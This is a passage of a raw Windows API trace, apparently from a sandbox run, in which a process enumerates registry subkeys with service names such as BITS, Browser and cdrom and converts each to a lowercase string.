RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.570] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0239.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.571] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0239.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.572] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0239.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.573] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0239.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0239.574] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0239.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0239.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1d60, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0239.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1928, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0239.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1d60, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0239.575] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", 